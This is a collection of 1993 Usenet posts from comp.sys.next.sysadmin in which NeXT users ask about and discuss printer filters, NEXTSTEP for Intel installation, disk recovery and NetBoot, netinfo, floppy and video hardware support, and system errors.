From: pthil@blackpoint.ncel.navy.mil (Peter Thille) Newsgroups: comp.sys.next.sysadmin Subject: Help - Printing to HP LaserJet IIISi on a Novell Network Keywords: printing, Novell, LaserJet Message-ID: <1180@anacapa.NCEL.Navy.Mil> Date: 9 Jun 93 18:10:31 GMT Sender: news@anacapa.NCEL.Navy.Mil We have an HP LaserJet IIISi with a JetDirect Card & PostScript installed as a remote printer on a Novell NetWare 3.11 network. We are printing through the Novell Server. The IIISi does not autoswitch between PCL & PostScript. This means the printer thinks files from the NeXT are text files. From page 4-14 of the "Network Notes for the LaserJet IIISi Printer": > Create an executable file which contains the following lines to > perform language switching: > > #!/bin/sh > echo "<esc>%-12345X@PJL enter language=postscript" > cat - > echo "<esc>%-12345X@PJL enter language=pcl" > echo "<esc>E<esc>&k3G<esc>&a10L<esc>&k10H > > Specify this executable file as the file in the :if command > in the printcap entry. I looked in NetInfo & found that the "if" property points to "/usr/netware/bin/PrinterFilters/PostScript/.if". That file is Copyright Novell Inc. 1991 & is 429 lines long. My question: how do I fit the four lines from the "Network Notes" into Novell's ".if" file, or is there another solution? ----- Peter Thille <I don't speak for MIL, NAVY, NCEL, or even ME.> NeXTMail: pthil@blackpoint.ncel.navy.mil Email: pthil@ncel.navy.mil
From: hyunduk@engin.umich.edu (Hyunduk Ahn) Newsgroups: comp.sys.next.sysadmin Subject: ImageWriter II on 3.0 Date: 10 Jun 1993 04:58:17 GMT Organization: University of Michigan Engineering, Ann Arbor Distribution: world Message-ID: <1v6f19INN2lh@srvr1.engin.umich.edu> Newsgroups: sys.next.sysadmin Subject: ImageWrite II on 3.0 Summary: Followup-To: Distribution: Organization: University of Michigan Engineering, Ann Arbor Keywords: I recently acquired an ImageWriter II for my station (Pre-turbo,b/w,3.0). I downloaded iwf-2.0 from sonata, but being a complete novice, I have no idea what to do with it. I would appreciate if some kind soul out there could help me use the printer. First of all, I found out that I don't have <sys/table.h>. Would some one please send me <sys/table.h> and tell me where to put things after compiling iwf to use the printer? Thanks in advance. Hyunduk
From: maverick@halcyon.com (Thomas M. J. Fruchterman) Newsgroups: comp.sys.next.sysadmin Subject: musings on a nsi install Date: 9 Jun 1993 23:05:52 -0700 Organization: "A World of Information at your Fingertips" Sender: news@nwfocus.wa.com Message-ID: <1v6j00$55@nwfocus.wa.com> NeXTStep for Intel Installation Musings Here is a horror story of NSI installation on non-kosher hardware. Here are the main points I seem to have learned 1. Get it preinstalled. 2. Stick to approved hardware. 3. Stick to SCSI Hard disks (rather than IDE). 4. Stick to PS/2 mice (rather than serial or bus). 5. Definitely have a completely accurate 101-keyboard. No right side alt key on your keyboard -- too bad, you won't be able to take advantage of point 6. I had numerous problems where non-standard keyboards outputted complete garbage once I got to the step where one types in ones language preference for installation. 6. right-alt num-lock (pressed at the same time) is the equivalent of command-command-~ on the black hardware. This was unfortunately missing in the documentation. Very useful when you find out you haven't properly configured your mouse, so you can't move it in the workspace, so you can't shutdown, so your only alternative is the Big Red Switch and trashing the filesystem. 7. Some ROM bios seem to prefer seeing the SCSI devices, like the CD-ROM drive, start at target 0. However, I have had problems where the mach boot stalled after looking at the IDE drives, when the CDROM was at SCSI. However, If I switch the SCSI address after from 0 after BIOS looks at it, to 6 before being probed by the MACH boot, I didn't have this problem. Incidentally, when NEXTSTEP stalls because of SCSI 0 CD ROM, there is a symptom that floppy disk light stays on. It was suggested to me that I eject the floppy after the NEXT MACH banner comes up, but that didn't help me. The Adaptec 1542B next answers documents tells us that we should use SCSI 0 in one bullet and warns against dangers in another. 8. The NSI bootable disk was readable by my next station. It is interesting to see the visible files on there. I tried to make a copy but it didnt work. I probably should have used some tricky unix dd call to make an exact image, but what I wanted to do was edit the defaults :-) 9. Beware warning messages. Some of them are meaningless. Some of them I still have to figure out if they have meaning. I am fairly certain messages about SMC16 not being linked and such are meaningless. It is careless of NeXT to let things like that go. It confuses me when I have a real problem and I'm trying to puzzle out the relevant error message. Likewise the message about the mouse probe failing. I think they check for bus mice and ps/2 mice at mach boot time and I think that this message doesn't mean you don't have some form of valid mouse. 10. I had problems with the MAXTOR 340 LXT AT drive. I am still don't know whether the message about IDE drive using multi-sector mode is related to the ideStrayInterrupt: multiwrite message that is torpedoing me at the current time. If anyone knows, please pass it along to me. 11. All in all, a frustrating experience. I am not too familiar with PC hardware, having recently failed to install 386BSD, but managing to get SLS/Linux to work. I have had a Next for 2 or 3 years and am knowledgable about black hardware. I had a lot of parts lying around and help from my more knowledgable office-mates. I got more sympathy than help from the 900 line, but I don't blame them, you can't support all the hardware in the world unless you're making a crummy OS. Really folks, if you buy non-approved stuff, you are just trusting your luck or you're a better hardware hacker than I am. 12. Still awaiting NSI ... Tom Fruchterman RAF Technology
Newsgroups: comp.sys.next.sysadmin From: jspears@weston.com (Wes Spears) Subject: Dead Drive on a 2 machine net Message-ID: <1993Jun9.213911.2740@weston.com> Sender: jspears@weston.com (Wes Spears) Date: Wed, 9 Jun 1993 21:39:11 GMT HELP! I have a NeXT emergency. My boss came to work this morning and there was a "System Panic" window over his login prompt. Something about a media error in block 85040H SCSI block in error = 544832; Partition A F.S. (is this right?) Sector 272256 Well, we tried to power down and reboot, and we get a SCSI error. In the ROM monitor it says something about messing up on a short read. It is early on in the boot process. I had my HD die on me a year ago in my Cube - it was still under maintenance, so I had it replaced. After that I used BuildDisk to build a boot disk on an optical, so I could at least reboot if the same thing ever happened to me. Well, the machine that is broken i a Station, so it has no optical drive. The only thing I can think of is to convert my Cube into a NetInfo server, and boot the other machine over the ethernet from mine. Then we can see how much data we can save off of the other's disk (it's been a while since the last backup, so we is very nervous!). I am going to proceed from the manuals to set up a NetInfo server with my machine. If you have any better ideas, email me as soon as you can. TIME PASSES........... I have configured my NeXT Cube as a NetInfo and Configuration Server. Then I configured it as a NetBoot server. To do this, I had to export the root and private directories to the other machine. Well, I boot the other machine across ethernet and it says "booting from garfield" which is good. But then it gets hung when it tries to mount the root directory - it says it can't mount the root directory. In the NeXT manual it says something about only supporting NetBoot servers on machines with 660MB Hard Drives. Mine is 400MB. Is this for real? If so, I think it's pretty stupid! There's got to be another way to boot the other machine. How do you make a floppy boot disk? One of the options on the boot command is bfd, to boot from floppy drive. If I could boot his machine from a floppy, that would probably be enough. What about physically moving his Hard Disk to my machine as a second disk drive? Could I get to his data that way? TIME PASSES.................. I have used BuildDisk to build an optical system disk called LocalDisk1. I tried to have the other machine mount my optical disk LocalDisk1 as it's root directory, instead of my literal root directory. No dice. It still gives the same message "cannot mount root". I think it doesn't support my machine because it's only 400MB. Does anyone have any thoughts? Thanks -- Wes Spears <-------> jspears@weston.com (NeXTMail Welcome) The Weston Group 8524 Highway 6 North, 162, Houston, TX 77095
Newsgroups: comp.sys.next.sysadmin From: stef@tpki.toppoint.de (Stefan Krause) Subject: Help: Workspace Garbles mtab Permissions Organization: Toppoint Mailbox e.V. Date: Thu, 10 Jun 1993 10:11:18 GMT Message-ID: <1993Jun10.101118.18307@tpki.toppoint.de> Summary: Workspace garbles mtab permission during umount of disks. Keywords: mtab automount permissions umask of user: 007 (also in Preferences) initial mtab permissions: 644 (root.wheel) When the user inserts a floppy disk it will be automounted. When the user selects eject menu item or logs out then the disk will be umounted and ejected. During this action the access permissions of /etc/mtab change to 660 (root.wheel). What can I do? I don't want to change the umask of the user. And I don't want the mtab group-writable. And I don't want the cnews-spacefor-script fail when reading the mtab. Please help. Stefan -- Stefan Krause stef@tpki.toppoint.de 2300 Kiel, Germany tel.(voice) +49 431 335022
Newsgroups: comp.sys.next.sysadmin From: sam@musical.fdn.org (Sam Przyswa) Subject: Re: WARNING: Re: autonfsmount dies / SLIP problem Message-ID: <1993Jun9.200825.26562@musical.fdn.org> Sender: sam@musical.fdn.org Organization: Rock'n Jazz BBS - (The Music Land) References: <1urebj$hlm@transfer.stratus.com> Date: Wed, 9 Jun 1993 20:08:25 GMT In article <1urebj$hlm@transfer.stratus.com> dan@quiensabe.az.stratus.com (Dan Danz) writes: > You should beware that nidump/niload to reload the /machines directory of a > netinfo database COULD BE VERY DANGEROUS. There are a number of "properties" Oops ! ok man, I don't want to make a mistake, and I will take a look in the Unix manual before change anythings. > To administer things on the NeXT systems, use the GUI apps that are provided; > specifically, NetinfoManager, and you'll see all of the properties. > > If you just **HAVE TO** use the shell tools, learn to use niutil. > > When I first started messing with NeXTs, the niutil way seemed the hard way, > but not after I learned my lesson the hard way. Maybe I can spare you and > others the agony of rebuilding a netinfo database. > Ok, I will do, thanks for your advices. Greetings from Paris ! Sam -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Sam Przyswa << Rock©n Jazz BBS >> E-Mail: sam@musical.fdn.org Paris FidoNet: 2:320/102 --<NeXTmail accepted 10Ko max>-- France Music & Midi BBS
From: glover@tree.egr.uh.edu (John Glover) Newsgroups: comp.sys.next.sysadmin Subject: 2.88 Floppy Drive in 1.44 mode? Date: 10 Jun 1993 14:26:56 GMT Organization: University of Houston Message-ID: <1v7gbg$rf2@menudo.uh.edu> Keywords: floppy I know that NeXT does not support 2.88 floppy drives under NEXTSTEP on Intel machines, but has anyone tried a 2.88 floppy drive to see if NEXTSTEP will recognize it in 1.44 MB mode? I asked Bob Lawton at NeXT if it would work, and he said they had never tried it and didn't know if it would work (!!!!!). I am preparing to purchase 50 machines, and I would like to go ahead and get 2.88 drives (only $30 more). (However, Lawton even said that he had no plans at this time for a 2.88 driver. Pretty incredible, considering that NeXT was the major pusher of 2.88 floppies, and we all have dozens of them that will now be incompatible with the white machines.) Thanks. -- John Glover Electrical Engineering Dept. University of Houston glover@uh.edu (NeXTMail)
From: brunkhorst@mayo.edu (Geoff Brunkhorst) Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin Subject: NS/M or NS/I support for a 5.25" DOS floppy drive Date: 10 Jun 1993 15:38:17 GMT Organization: Mayo Foundation Distribution: world Message-ID: <1v7kh9$12l@fermat.mayo.edu> Keywords: NeXT hardware floppy 5.25 We are looking to build a "mother of all data converters" for a biochem lab. We are hoping to use a black next as the central server, but the lab will likely have white nexts as well. Several data acquisition devices are front-ended by old PC hardware, using high-density (DSDD) floppies as the 'transfer medium". The end users want us to construct an environment where a bench test is transferred to the floppy, the floppy is taken to a 'single' machine, and an app runs and pulls the data off the floppy and converts/displays the results on the screen. The app then allows the user to manipulate the data through some basic filters and data cleanup. The user then saves the data in 'standard format' on the file server. The users demand for one-stop transfer (floppy onto the black next) is a stumbling block, as we cannot find a 5.25" floppy drive supported under NS. I have a reason tech 486 running NS/I and it does not recognize the 5.25 drive (the 3.5 drive is fine). A) is this a software limitation on NS/I? B) is there 3rd party hardware (like the PLI SCSI 2.88 floppy)? that will provide a SCSI 5.25" floppy for 'black' hardware. I scanned the rags but found none. (no. we cannot network these particular acquistion devices in any way. Those that can be networked (ethernet, appletalk, serial/kermit) have been. 5.25" floppies or nothing, is what the user wants.) pre-emptive thanks to all who respond. -- - Geoff ----------------------------------------------------------------- Geoffrey Brunkhorst brunkhorst@Mayo.edu Research Computing Facility, Guggenheim 10 (507) 284-1805 Mayo Foundation, Rochester MN, 55905, USA fax (507) 284-5231
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin From: kramer@fragile.termfrost.org (Mike Andrews) Subject: Logitech Bus Mouse on Black Hardware -- pinouts needed Message-ID: <C8EyGw.25n@fragile.termfrost.org> Organization: Terminal Frost, Springfield OH Date: Thu, 10 Jun 1993 16:14:56 GMT Someone a while back posted that a Logitech Bus Mouse would work on a non-ADB black slab, given the proper plug and wiring... I've got the plug, and now I need the pinouts... Anyone who can mail them to kramer@fragile.termfrost.org (or, if that dosen't work, kramer@wittenberg.edu) would have my undying gratitude ;-) My NeXT mouse has a short that's getting worse... Mike -- Mike Andrews root@fragile.termfrost.org [NeXTmail OK] kramer@wittenberg.edu (school) "This guy's pretty bizarre, Gus." kramer@mik.uky.edu (hometown) -- Primus
From: Ivo.Welch@f236.n104.z1.FIDONET.ORG (Ivo Welch) Newsgroups: comp.sys.next.sysadmin Subject: NEWS SETUP Message-ID: <3445.2C164E84@paranet.FIDONET.ORG> Date: 8 Jun 93 20:51:00 GMT Sender: ufgate@paranet.FIDONET.ORG (newsout1.26) Organization: FidoNet node 1:104/236 - MacCircles, Genesee CO -- Ivo Welch - via ParaNet node 1:104/422 UUCP: !scicom!paranet!User_Name INTERNET: Ivo.Welch@f236.n104.z1.FIDONET.ORG
From: ssietz@aramis.rutgers.edu (Steven Sietz) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc Subject: NeXTDimension Problem Keywords: help Message-ID: <Jun.10.13.32.56.1993.19254@aramis.rutgers.edu> Date: 10 Jun 93 17:32:56 GMT Followup-To: comp.sys.next.sysadmin Organization: Rutgers Univ., New Brunswick, N.J. Noticed this morning that our NextDimension Cube put the loginwindow on the monochrome monitor and no longer recognized the color screen. I tried playing around with the Preferences to make the loginwindow appear on the color but it never saved the configuration. I then "removed" the NextDimension from the Preferences section and now it won't recognize it any more! Looking at the system error messages at bootup, I noticed the following: Jun 10 08:44:59 everglades mach: NeXTdimension board present in Slot 2 Jun 10 08:44:59 everglades WindowServer: Problem starting the NeXTdimension.psdrvr driver. Continuing. Any suggestions? -Steve Sietz- -- Steven Sietz | Internet: ssietz@cs.rutgers.edu 77A West Bluebell Lane | uucp: {backbone}!rutgers!cs.rutgers.edu!ssietz Mount Laurel, NJ 08054 |
Newsgroups: comp.sys.next.sysadmin From: tgall@rchland.vnet.ibm.com (Tom Gall) Subject: Re: musings on a nsi install Sender: news@rchland.ibm.com Message-ID: <1993Jun10.174456.26598@rchland.ibm.com> Date: Thu, 10 Jun 1993 17:44:56 GMT Disclaimer: This posting represents the poster's views, not necessarily those of IBM References: <1v6j00$55@nwfocus.wa.com> Organization: IBM Rochester In article <1v6j00$55@nwfocus.wa.com>, maverick@halcyon.com (Thomas M. J. Fruchterman) writes: |> |> NeXTStep for Intel Installation Musings |> |> Here is a horror story of NSI installation on non-kosher |> hardware. Here are the main points I seem to have learned |> |> 2. Stick to approved hardware. Too true, but it would make more sence for those of us who are comfortable with assembling our own system to have a compatible and tested part list. IE, give me a list of motherboards that works. I'll take it from there. |> |> 3. Stick to SCSI Hard disks (rather than IDE). Definately, Amen brother! Although SCSI on the PC doesn't seem to be implimented as well, SCSI just works. No fuss, no muss. IDE+SCSI seems to be a rocky marriage at best. |> 5. Definitely have a completely accurate 101-keyboard. No right side |> alt key on your keyboard -- too bad, you won't be able to take |> advantage of point 6. I had numerous problems where non-standard |> keyboards outputted complete garbage once I got to the step where one |> types in ones language preference for installation. I had trouble with a Gateway any key keyboard. At bootup, (during Installation) the program light would start to blink and the keyboard would become unuseable. There is a suspend sequence, to reset the keyboard without rebooting your machine, but that has never worked for me. |> |> 11. All in all, a frustrating experience. I am not too familiar with |> PC hardware, having recently failed to install 386BSD, but managing to |> get SLS/Linux to work. I have had a Next for 2 or 3 years and am |> knowledgable about black hardware. I had a lot of parts lying around |> and help from my more knowledgable office-mates. I got more sympathy |> than help from the 900 line, but I don't blame them, you can't support |> all the hardware in the world unless you're making a crummy OS. Really |> folks, if you buy non-approved stuff, you are just trusting your luck |> or you're a better hardware hacker than I am. |> I wouldn't say luck, rather it seems that if a person is going to buy hardware that isn't tested as running NeXTSTEP, get ahold of that dealer, walk/drive over to their store and ask if you can install it on that system. In the meantime, you have a wonderful opertunity to advertise NeXTSTEP for the OS it is and dispell the N(ice) T(ry) myths. After it works, fire up Interface Builder and astound them.... (It helps to buy the machine too ;-) |> 12. Still awaiting NSI ... Me too, only so long a person can stare at that NeXTSTEP CD-ROM without a 486 to run it on...... |> |> Tom Fruchterman |> RAF Technology -- tgall@rchvmw2.vnet.ibm.com (work -- NeXTMail NOT ok) gypsy!servo@csn.org (home -- NeXTMail ok) _________________________________________________________________________ |o|Tom Gall "Where's the ka-boom? There was supposed |o| |o|Dept 45 N to be an earth shattering ka-boom!" |o| |o|Performance Tools III -- The Martian ____ |o| |o|006-2 / B209 /\___\ |o| |o|IBM Rochester 3-4558 #include<std.disclaimer.h> \/___/ |o|
Newsgroups: comp.sys.next.sysadmin From: anderson (Ken Anderson) Subject: Remote UUCP w/SLIP Message-ID: <1993Jun10.155044.6264@biztech.com> Keywords: UUCP Sender: news@biztech.com Organization: Biztech, Inc. Date: Thu, 10 Jun 1993 15:50:44 GMT I'm currently having a funky problem with NeXT sendmail. Maybe someone has some insight into this problem. I have a router in my office that I can SLIP into. For the convenience from home, I have a resolv.conf file in /etc, so that I can type: 'ftp sonata.cc.purdue.edu' from home. I'm using UUCP for my mail, so that I don't dial out every time I send. The sendmail is correctly configured to use the UUCP mailer instead of the DDN, and always uses UUCP as the default. When I send mail from my home machine, sendmail must be doing some DNS resolution even though it's supposed to just send the mail via UUCP. Even though sendmail forces the modem to dial, the mail is correctly deposited in the uucp spool directory. Any insight on this would be appreciated. Ken Anderson anderson@biztech.com Stamford, CT
Newsgroups: comp.sys.next.sysadmin From: gseng@ctp.com (Greg Sengle) Subject: Windows printer driver for NeXT 400 dpi printeR? Message-ID: <1993Jun10.163323.2346@ctp.com> Sender: news@ctp.com Organization: Cambridge Technology Partners Date: Thu, 10 Jun 1993 16:33:23 GMT Does there exist a printer driver for windows which correctly generates postscript to send to the lpd on my next running 3.0? I can preview the postscript that is generated by many of the existing ones, however, it only recognizes the file as valid postscript after I strip off some control character at the beginning of the first line of postscript code generated by Windows. By the time the file hits my NeXT, the first line looks like /004%!PS-Adobe-3.0 %%Creator: Windows PSCRIPT etc. it should look like %!PS..... can someone point me in the right direction either for a good printer driver to use in windows, or explain what is going on? I'm fairly new to postscript. I greatly appreciate any help anyone can give. Email me responses I will summarize if interesting. Thanks!!! -greg -- /\/\ Gregory R. Sengle / /_ \ Cambridge Technology Partners email: gseng@ctp.com \ / / 304 Vassar Street tel: (617) 374 8509 \/\/ Cambridge, MA 02139 fax: (617) 374-8300
Newsgroups: comp.sys.next.sysadmin From: iwelch@agsm.ucla.edu (Ivo Welch) Subject: INN configuration file request Message-ID: <1993Jun10.110119.16990@mic.ucla.edu> Organization: UCLA, Anderson Graduate School Of Management Date: 10 Jun 93 11:01:19 PDT If you have installed INN on your NeXT (preferably on OS 3.1, or at least 3.0), could you please mail me the configuration file? Thanks. /ivo welch
From: sears@tree.egr.uh.edu (Paul S. Sears) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware Subject: Is anyone experiencing problems with spurious DMAinterrupts???? Date: 10 Jun 1993 19:52:14 GMT Organization: University of Houston Distribution: world Message-ID: <1v83de$nss@menudo.uh.edu> Hello, In the past two days, my two servers have been brought down 4 times because of the the following:: Jun 9 12:35:59 server1 mach: spurious DMA interrupt: state 0x1000000 channel 0x2000110 Jun 9 12:36:57 server1 last message repeated 3 times Has anyone had this same type of problem? What could be causing the DMA interrupts? I can't find a reference to them anywhere... Now, these servers are extremely stable. The both average 60-80 days of uptime between reboots. And when they went down, it was a total and complete lock up. The only thing that could be done was to pull the plug.. Sheesh.... 30 minutes to fsck 5G of disks.... Any help is greatly appreciated. I will post a summary (if I get any info).. --- Paul S. Sears * sears@uh.edu (NeXT Mail OK) The University of Houston * suggestions@tree.egr.uh.edu (NeXT Engineering Computing Center * comments, complaints, questions) NeXT System Administration * DoD#1967 '83 NightHawk 650SC >>> SSI Diving Certification #755020059 <<< "Programming is like sex: One mistake and you support it a lifetime."
Newsgroups: comp.sys.next.sysadmin From: lorinr@altsys.com (Lorin Rivers III) Subject: Re: I have 32MB RAM, NS/FIP will only see 16MB Message-ID: <1993Jun10.183345.25903@altsys.com> Organization: Altsys Corporation, Richardson, TX References: <C7yzvy.88@news.otago.ac.nz> Date: Thu, 10 Jun 1993 18:33:45 GMT In article <C7yzvy.88@news.otago.ac.nz> ATHOMSON@otago.ac.nz writes: >Hi there, >We have a Compaq Deskpro 66M running NS/FIP Pre-release 1. >We originally had 16MB of RAM in it and recently upgraded it to 32MB. >The problem is that NeXTSTEP will still only see 16MB. Is this >something specific to the pre release, or does it happen all the >time? > >Any help would be appreciated as we need to demo a system in two >weeks with our app that make the window server grow to about 26MB, so >16 makes it swap like crazy! > >Many thanks >Alastair > >-- >===================================================================== > | >Alastair Thomson, | Phone +64-3-479-8347 >University of Otago, | Fax +64-3-479-8529 >Department of Computer Science, | e-mail: >P.O. Box 56 | alastair@piglet.otago.ac.nz >Dunedin | or ATHOMSON@otago.ac.nz >New Zealand | NeXTmail Welcome > > "God loved the world so much, that he gave us His Son, to die in > our place, so that we may have eternal life" > John 3:16, paraphrase. > >===================================================================== I can't give you specifics, but it has to do with the linear frame buffer. What you have to do is go into Configure.app and in the video section, look for something having to do with the linear frame buffer. If that doesn't work drop me a line and I'll find out from our other NeXTWorld attendee what we did to fix it there (we had the same problem). Apparently, Compaq does some wacky stuff with memory (I don't have a clue. I'm blissfully ignorant WRT PC HW) Good Luck! -- Lorin Rivers Lorin_Rivers@altsys.com Altsys Technical Support 214.680.2518 269 W. Renner Parkway NeXT Mail Expected Richardson, Texas 75080 I said it, not my boss
From: louie@sayshell.umd.edu (Louis A. Mamakos) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware Subject: Re: Is anyone experiencing problems with spurious DMAinterrupts???? Date: 10 Jun 1993 22:32:46 GMT Organization: University of Maryland, College Park Distribution: world Message-ID: <1v8cqe$dls@ni.umd.edu> References: <1v83de$nss@menudo.uh.edu> In article <1v83de$nss@menudo.uh.edu> sears@uh.edu writes: > >Hello, > > In the past two days, my two servers have been brought down 4 times >because of the the following:: > >Jun 9 12:35:59 server1 mach: spurious DMA interrupt: state 0x1000000 >channel 0x2000110 >Jun 9 12:36:57 server1 last message repeated 3 times > >Has anyone had this same type of problem? What could be causing the DMA >interrupts? I can't find a reference to them anywhere... More than likely, you are experiencing excessive (or maybe just a bunch) of ethernet collisions. Clearly, this state of affairs shouldn't result in your system crashing or hanging. Louis Mamakos
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc From: Monty Solomon <monty%roscom@think.com> Subject: Printing faxes Message-ID: <1993Jun10.194958.6325@proponent.com> Followup-To: comp.sys.next.sysadmin Sender: monty@proponent.com (Monty Solomon) Organization: Proponent Date: Thu, 10 Jun 1993 19:49:58 GMT Is there any way to configure a NS 2.1 system so that any faxes that come in are automatically printed? Thanks. -- # Monty Solomon / PO Box 2486 / Framingham, MA 01701-0405 # monty%roscom@think.com
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software From: mlbm@lanl.gov (Mark Martinez) Subject: Why does the Mail app disappear Message-ID: <1993Jun10.205442.18352@newshost.lanl.gov> Sender: news@newshost.lanl.gov Organization: Los Alamos National Lab Date: Thu, 10 Jun 1993 20:54:42 GMT A couple of NeXTs at this site are experiencing Mail app problems. Occasionally, when the deliver button is pressed, the app quits. Both NeXTs are recently upgraded to 3.0. Other machines running 3.0 are behaving normally. Has anyone else seen this? thanks mark martinez
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin Subject: Need new Compaq QVision driver for QVision 1280/E Message-ID: <C8HBzo.AD5@news.otago.ac.nz> From: alastair@farli.otago.ac.nz (Alastair Thomson) Date: Fri, 11 Jun 1993 23:02:12 GMT Sender: usenet@news.otago.ac.nz (News stuff) Organization: University of Otago Hi there netters, I have a problem, cos we are way down here in New Zealand, we wont get the copies of NS/Intel we have ordered for a couple of weeks :-(. We have a beta version, but the Compaq QVision driver will only talk to the QVision 1024/E not the 1280/E. We need to do a demo using the 1280 before we can get the final release of NS/Intel. Could someone possibly NeXTmail mme a copy of the new QVision.config? While you are at it you could send the ATIUltraPro.config as well so we can change the display refresh rate to something less painfull than 60Hz. Many thanks, Alastair ===================================================================== = Alastair Thomson, | Phone +64-3-479-8347 Chief Programmer, | Fax +64-3-479-8529 The Black Albatross Project, | e-mail: University of Otago, | alastair@farli.otago.ac.nz Department of Computer Science, | P.O. Box 56 | NeXTmail Welcome! Dunedin | New Zealand | "God loved the world so much, that he gave us His Son, to die in our place, so that we may have eternal life" John 3:16, paraphrase. ===================================================================== =
From: jimc@tau-ceti.isc-br.com (Jim Cathey) Newsgroups: comp.sys.next.sysadmin Subject: Re: Can you make a dynamic symbolic link to $HOME? Message-ID: <3586@tau-ceti.isc-br.com> Date: 10 Jun 93 21:36:03 GMT References: <1993Jun8.072602.2031@netcom.com> <GISLI.93Jun8095057@liapunov.eecs.umich.edu> <CEDMAN.93Jun8113534@capitalist.princeton.edu> Distribution: usa Organization: Olivetti North America, Spokane, WA In article <CEDMAN.93Jun8113534@capitalist.princeton.edu> cedman@princeton.edu (Carl Edman) writes: >So, yes, one could add this feature to zsh, but it wouldn't really be >very useful. If it belongs anywhere it belongs in the kernel so that >all user programs (including zsh) would automatically use it. Adding >it should be a nice exercise for a budding kernel hacker. It would be a horrible hack for a kernel. What about the poor bozo who put his mortgage information into a file called $HOME (or whatever)? There's a reason that system calls shouldn't try to get too smart, since there's no way around them. Such hack-ey crap should be done at a layer above, where it's possible to bypass the stuff. Look at the extra system calls you need to get around symlinks when you need to. The exact same would be needed here. Not to mention that the kernel can't automagically find the appropriate environment for a process. It may be able to find the one that it originally gave the process, but it wouldn't necessarily find the changed information, if the process (like a shell) accepts a setenv operation. There's no standard place to keep a changed environment, since a process is allowed to fork a child with a different environment using exec?e(). No, the kernel would need to be told about the appropriate environment beforehand (or simultaneously, anyone for opene()? At this point, you might just as well change the library binding and do all the work there (same caveats), and call it something else (opene sounds good to me), which means it wouldn't work everywhere you might want it to. Or call it open, but put it in a special library you link with first. Either way, you don't get what you want. At least with the hack buried only in the shell there's probably sufficient quoting available to get around it. Ugh. Give it up as a bad job. (Or get a PC, where bad jobs are the rule.) -- +----------------+ ! II CCCCCC ! Jim Cathey ! II SSSSCC ! ISC-Bunker Ramo ! II CC ! TAF-C8; Spokane, WA 99220 ! IISSSS CC ! UUCP: uunet!isc-br!jimc (jimc@isc-br.isc-br.com) ! II CCCCCC ! (509) 927-5757 +----------------+ One Design to rule them all; one Design to find them. One Design to bring them all and in the darkness bind them. In the land of Mediocrity where the PC's lie.
Newsgroups: comp.sys.next.sysadmin From: iwelch@agsm.ucla.edu (Ivo Welch) Subject: Build Disk Script Message-ID: <1993Jun10.141846.20209@mic.ucla.edu> Organization: UCLA, Anderson Graduate School Of Management Date: 10 Jun 93 14:18:44 PDT I am a bit nervous about running BuildDisk on a large harddisk, because I am not sure which partition it wants to go to. I'd prefer running the appropriate script with custom cp (copy) commands myself to know what goes where. I also must make sure that the disk is bootable (is there any necessary magic?). How do I build a bootable NS volume by hand? /ivo
Newsgroups: comp.sys.next.software,comp.sys.next.marketplace,comp.sys.next.hardware,comp.sys.next.sysadmin,comp.sys.next.misc From: sieu@cory.Berkeley.EDU ( TECKCHENG SIEU) Subject: Desktop 3.0 is available. Desktop is not a fraud! Message-ID: <1993Jun11.020056.3543@pasteur.Berkeley.EDU> Sender: sieu@cory.berkeley.edu Organization: University of California, at Berkeley Date: Fri, 11 Jun 1993 02:00:56 GMT Firstly, I am sorry for taking up the bandwidth. Someone asked if Desktop is a fraud. So, I think I have to post this article. By the way, can someone teach me how to post announcements to comp.sys.next.announce? Desktop is not a fraud. And users usually received the copy# and license# soon after they sent in the check. But a week before the Expo, I have to admit that I was thrashing. I was porting the software, negotiating with a company, preparing for the Expo and at the same time, packing up my personal belongings. I moved back to Singapore immediately after NeXTWorld Expo because I have to start working in Singapore real soon. Everything came at the same time! Anyway, I managed to demo Desktop 3.0 (fat binaries with new goodies added) during the Expo and all my belongings shipped back to Singapore. Very soon, Desktop will be distributed in US and Europe solely by a company. I believe the service and supported offered will be excellent. Meanwhile, if you really really cannot afford to wait, you can buy Desktop 3.0 directly from me at the old price -- US$30 before the company becomes the sole distributor in US and Europe. (I sincerely urge you to buy Desktop from the company instead because it will give better service and support though it may charge you a bit more). The new pricing will be available from the company shortly. I have not forgotten those who have bought copies of Desktop during the NeXTWorld Expo and in the NeXT software porting lab while I was porting Desktop. Please send me the hostid of your machine to get the copy# and license#. Lastly, I hope you could bear with me for the inconveniences caused while I moved back to Singapore. I can be reached at: Johnson Sieu Blk 361, Bukit Batok St 31 #09-457 Singapore 2365 Singapore fax/voice: 011-65-566-9195 (made possible by a fax/voice autoswitch) Singapore mail address: sieu@mailhost.scs.com.sg US mail address: sieu@cory.berkeley.edu (will expire in September) PS: 1. Please don't send checks to the P.O. Box 367 anymore. Thank you. 2. Bug report and suggestions welcomed. (NeXTmail ok but not preferred).
Newsgroups: comp.sys.next.sysadmin From: gvh@metrosoft.com (Gordon Van Huizen) Subject: Re: Sybase: Installing from NeXTSTEP 1.0 Disk Message-ID: <1993Jun10.204317.314@metrosoft.com> Sender: gvh@metrosoft.com Organization: Metrosoft References: <1993Jun9.210617.5157@dvorak.amd.com> Date: Thu, 10 Jun 1993 20:43:17 GMT In article <1993Jun9.210617.5157@dvorak.amd.com> herrick@amd.com (charles) writes: > If you bought an upgrade from 1.0 to 2.X, you were > automatically entitled to an upgrade of the Sybase, > Mathematica and Lisp packages to versions that were > compatible with NeXTSTEP 2.X, i.e. the packages were > free, but you had to request them. > > I honestly can not remember if the upgrades had a time > limit attached, but I bet 800-848-6398 would know. I'm guessing that that time limit has long since expired. I sent in the request card well over a year ago and never received anything. Gordon -- Gordon Van Huizen vox: 619.488.9411 fax: 619.488.3045 Metrosoft gvh@metrosoft.com [NeXTmail welcome] "Our ship is coming in, it just isn't black." - MTD 2/93
